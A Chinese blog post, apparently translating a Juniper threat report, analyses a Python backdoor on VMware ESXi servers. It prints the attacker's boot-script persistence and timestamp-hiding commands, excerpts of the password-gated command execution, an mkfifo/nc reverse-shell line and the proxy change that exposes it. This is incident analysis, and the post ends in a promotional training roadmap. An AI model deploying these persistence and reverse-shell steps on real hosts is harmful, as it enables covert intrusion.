植入 VMware ESXi 的 Python 后门

2022 年 10 月,研究人员发现了一个植入 VMware ESXi 服务器的后门。自从 2019 年以来,未打补丁的 ESXi
服务器一直是攻击者的紧盯的目标,常用的漏洞为 CVE-2019-5544 和 CVE-2020-3992。

持久化

ESXi 是一个虚拟化平台,虚拟机的虚拟磁盘镜像存储在 ESXi
的物理磁盘上,但主机操作系统的系统文件存储在内存中。这些变更会在重新启动时被丢弃,只有少数特定系统文件会在重新启动时自动备份与恢复。例如
/etc/rc.local.d/local.sh 会在启动时执行。通常情况下,该文件应该除了注释什么内容都没有。但在失陷主机上,增加了如下代码:

/bin/mv /bin/hostd-probe.sh /bin/hostd-probe.sh.1/bin/cat << LOCAL2 >> /bin/hostd-probe.sh/bin/nohup /bin/python -u /store/packages/vmtools.py >/dev/null 2>&1&LOCAL2/bin/cat /bin/hostd-probe.sh.1 >> /bin/hostd-probe.sh/bin/chmod 755 /bin/hostd-probe.sh/bin/rm /bin/hostd-probe.sh.1/bin/touch -r /usr/lib/vmware/busybox/bin/busybox /bin/hostd-probe.sh

前面将代码追加到 /bin/hostd-probe.sh 中,这也是在系统启动时自动执行的系统文件。用于启动一个 Python 脚本:

/bin/nohup /bin/python -u /store/packages/vmtools.py >/dev/null 2>&1&

后面的 touch 命令将 /bin/hostd-probe.sh 文件的修改和访问时间戳重置为预安装系统文件的时间戳,使其看起来好像未被修改。

攻击者修改了四个文件:

/etc/rc.local.d/local.sh:存储在内存中,变更会在重启时进行备份与恢复

/bin/hostd-probe.sh:变更存储在内存中,重启后复原

/store/packages/vmtools.py:保存到磁盘持久化存储

/etc/vmware/rhttpproxy/endpoints.conf:变更存储在内存中,重启后复原

Python 后门

尽管 Python 可以跨平台使用,但仍有很多痕迹能表明攻击是针对 ESXi 服务设计的。使用文件 /store/packages/vmtools.py
是为了减少对虚拟化主机的怀疑,该文件与公开的 VMware 版权信息是一致的:

#!/bin/python"""Copyright 2011 - 2014 VMware, Inc.  All rights reserved.This module starts debug tools"""from http.server import BaseHTTPRequestHandler, HTTPServer

Python 脚本启动一个简单的 HTTP 服务器,只接受密码匹配的 POST 请求。该脚本可以运行任意命令并将结果回显网页,或者可以启动反向
Shell。该服务器绑定在 127.0.0.1 的 8008 端口上,可处理五个参数:

server_namespace:保护后门的密码

server_instance:直接运行命令(local)还是启动反向 Shell(remote)

operation_id:仅在 local 时使用执行的命令

envelope:仅在 remote 时使用的主机

path_set:仅在 remote 时使用的端口

服务器首先检查密码的 MD5 值,密码校验正确则根据配置情况直接执行命令并且返回浏览器:

if action is None or action == 'local':encoded_cmd = form.getvalue('operation_id')if encoded_cmd is not None:try:cmd = str(base64.b64decode(encoded_cmd), "utf-8")except binascii.Error:returnself.wfile.write(os.popen(cmd).read().encode())

或者服务器向 envelope 和 path_set 的主机与端口启动反向 Shell:

if action == 'remote':host = form.getvalue('envelope')if host is not None:port = form.getvalue('path_set')if port is None:port = '427'cmd = 'mkfifo /tmp/tmpy_8th_nb; cat /tmp/tmpy_8th_nb | /bin/sh -i 2>&1 | nc %s %s > /tmp/tmpy_8th_nb' % (host, port)subprocess.Popen(cmd, shell=True)

反向 Shell 提供对失陷主机的访问会话:

image.png-22.8kB反向
Shell

这样连接的远程终端会话,可以绕过防火墙的限制,即使无法通过互联网直接访问失陷主机也能正常连接。

反向 Shell 命令如下所示:

mkfifo /tmp/tmpy_8th_nb; cat /tmp/tmpy_8th_nb | /bin/sh -i 2>&1 | nc <host> <port > /tmp/tmpy_8th_nb

命令管道比常见的反向 Shell 调用更复杂,能够适应 ESXi 上可用的 netcat 版本。请注意,如果 POST 请求未提供端口号,则使用默认端口
427。这也是 OpenSLP 的标准端口,存在漏洞的服务器有可能被利用来获取对 ESXi 的访问权限。

反向 Shell

为了提供远程访问,黑客更改了 ESXi 反向 HTTP 代理的配置。配置文件 /etc/vmware/rhttpproxy/endpoints.conf
中包含许多映射关系,例如 /sdk local 8307 redirect allow

表明反向代理将任何对 https://<server_url/sdk/*的外部请求都转发到端口 8307。而攻击者启用了 /<random_UUID> local 8008 allow allow,这样攻击者就能够从外部访问恶意网络服务器。

由于 /etc/vmware/rhttpproxy/endpoints.conf也在自动备份和恢复的系统文件中,所以该反向代理的配置是持久化的。

IOC

773d147a031d8ef06ee8ec20b614a4fd9733668efeb2b05aa03e36baaf082878
ceeb337778efe3c62a4ce04d750f60e773133dc7c99b661a5040e35afa16f426

参考来源

[Juniper](https://blogs.juniper.net/en-us/threat-research/a-custom-python-
backdoor-for-vmware-esxi-servers)

ps://blogs.juniper.net/en-us/threat-research/a-custom-python-

backdoor-for-vmware-esxi-servers)

网络安全学习路线

这是一份网络安全从零基础到进阶的学习路线大纲全览,小伙伴们记得点个收藏!

img[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cnXbpjsa-1691637747839)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]编辑

阶段一:基础入门

img[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tnfMAZJl-1691637747840)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]

网络安全导论

渗透测试基础

网络基础

操作系统基础

Web安全基础

数据库基础

编程基础

CTF基础

该阶段学完即可年薪15w+

阶段二:技术进阶(到了这一步你才算入门)

img[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Cjz9TTcT-1691637747841)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]

弱口令与口令爆破

XSS漏洞

CSRF漏洞

SSRF漏洞

XXE漏洞

SQL注入

任意文件操作漏洞

业务逻辑漏洞

该阶段学完年薪25w+

阶段三:高阶提升

img[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aRlEjlz1-1691637747842)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]

反序列化漏洞

RCE

综合靶场实操项目

内网渗透

流量分析

日志分析

恶意代码分析

应急响应

实战训练

该阶段学完即可年薪30w+

阶段四:蓝队课程

img[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dPY4yeef-1691637747844)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]

蓝队基础

蓝队进阶

该部分主攻蓝队的防御,即更容易被大家理解的网络安全工程师。

攻防兼备,年薪收入可以达到40w+

阶段五:面试指南&阶段六:升级内容

img

需要上述路线图对应的网络安全配套视频、源码以及更多网络安全相关书籍&面试题等内容

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

同学们可以扫描下方二维码获取哦!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值